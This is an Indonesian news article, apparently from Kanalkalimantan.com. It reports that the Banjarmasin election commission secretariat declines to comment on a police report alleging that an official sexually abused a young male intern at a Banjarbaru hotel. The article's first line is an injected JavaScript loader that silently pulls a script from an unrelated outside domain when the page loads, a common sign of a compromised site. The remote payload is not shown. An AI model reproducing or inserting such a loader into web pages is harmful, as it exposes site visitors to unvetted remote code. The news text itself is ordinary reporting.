(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Setelah mencuat di publik kasus dugaan pelecehan seksual yang menyeret salah satu oknum pejabat penyelenggara pemilu, Sekretariat KPU Kota Banjarmasin akhirnya buka suara.
Ditemui pada Rabu (8/1) pagi, Sekretaris KPU Kota Banjarmasin Husni Thamrin mengatakan, hingga saat ini pihaknya belum bisa memastikan kebenaran informasi kasus dugaan pelecehan seksual yang diduga menyeret oknum pejabat itu.
“Betul tidaknya kami tidak tahu. Kami pun juga mendengar kabar yang beredar,” kata Husni di Sekretariat KPU Kota Banjarmasin, Rabu (7/1).
Mantan Kabag Humas Setdako Banjarmasin ini mengaku, dirinya malah mengetahui kabar itu dari rekan-rekan awak media. “Kan yang lebih tahu ya kawan-kawan (wartawan) yang luas jaringannya,” katanya sembari tertawa.
Kendati begitu, Husni mengatakan, Sekretariat KPU Kota Banjarmasin memutuskan untuk menunggu perkembangan kasus yang diduga menyeret seorang pejabat penyelenggara pemilu di Kota Seribu Sungai ini. “(Kami) menunggu keterangan dari pihak berwenang, apa yang sebenarnya terjadi,” tambah Husni.
Sekretariat KPU Kota Banjarmasin tidak ingin mendahului pihak berwajib yang kini tengah melakukan penyelidikan. “Kita hargai dulu prosesnya. Infonya yang kami baca sudah berproses kan. Kita tunggu saja dulu,” tandasnya.
Sebelumnya, santer kabar ada pejabat di Banjarmasin yang diisukan melakukan tindak pidana asusila. Dan oleh pihak korban pejabat publik yang diduga dari Kota Banjarmasin itu dilaporkan ke kepolisian.
Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kassubag Humas Polres Banjarbaru, AKP Siti Rohayati menceritakan, laporan pencabulan ini diterima pihaknya pada Kamis tanggal 26 Desember 2019 lalu. Kasus ini dilaporkan oleh seorang ibu yang tidak terima anak laki-lakinya dicabuli di tempat umum.
Dari laporan yang diterima Kanalkalimantan.com, peristiwa pencabulan ini terjadi pada tanggal 25 Desember, sekitar pukul 12.00 Wita di dalam lobi toilet Hotel Grand Dafam, Q Mall Banjarbaru.
“Korban sedang melaksanakan tugas magang dan kebetulan ada acara keagaaman di hotel itu. Korban pergi ke toilet dan ada seseorang mengajak kenalan dan langsung memegang kemaluan korban dan mencium korban,†kata AKP Siti.
Masih dari laporan yang diterimanya, AKP Siti menceritakan korban tidak sempat berbuat apa-apa. Orang yang melakukan aksi pencabulan tersebut langsung beranjak pergi atas kejadian.
“Kasus ini tetap kita lakukan penyelidikan. Kalau status jabatan terduga pelaku yang melakukan pencabulan ini tidak bisa kita beritahu sekarang. Kita masih melakukan penyelidikan lebih lanjut,†kata Siti. (fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More
This website uses cookies.